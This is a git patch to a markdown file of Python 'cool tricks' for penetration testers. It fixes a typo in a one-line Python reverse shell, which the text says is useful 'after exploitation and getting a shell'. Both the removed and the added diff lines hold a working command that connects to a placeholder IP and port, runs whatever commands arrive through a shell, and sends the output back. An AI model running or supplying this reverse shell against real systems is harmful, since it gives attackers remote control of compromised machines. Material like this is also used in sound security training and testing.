From 453e1ab7077f5b081b637141aedc4e549527cc74 Mon Sep 17 00:00:00 2001 From: Omar Santos Date: Sun, 31 Mar 2019 13:18:00 -0400 Subject: [PATCH] Update python_cool_tricks.md --- python_ruby_and_bash/python_cool_tricks.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python_ruby_and_bash/python_cool_tricks.md b/python_ruby_and_bash/python_cool_tricks.md index 2d12f45..185a9c2 100644 --- a/python_ruby_and_bash/python_cool_tricks.md +++ b/python_ruby_and_bash/python_cool_tricks.md @@ -37,4 +37,4 @@ This is useful after exploitation and getting a shell. It allows you to use Linu You put your IP address (instead of 10.1.1.1) and the port (instead of 13337) below: -`python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.1.1.1',1337>))\n while 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"` +`python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.1.1.1',1337))\n while 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"`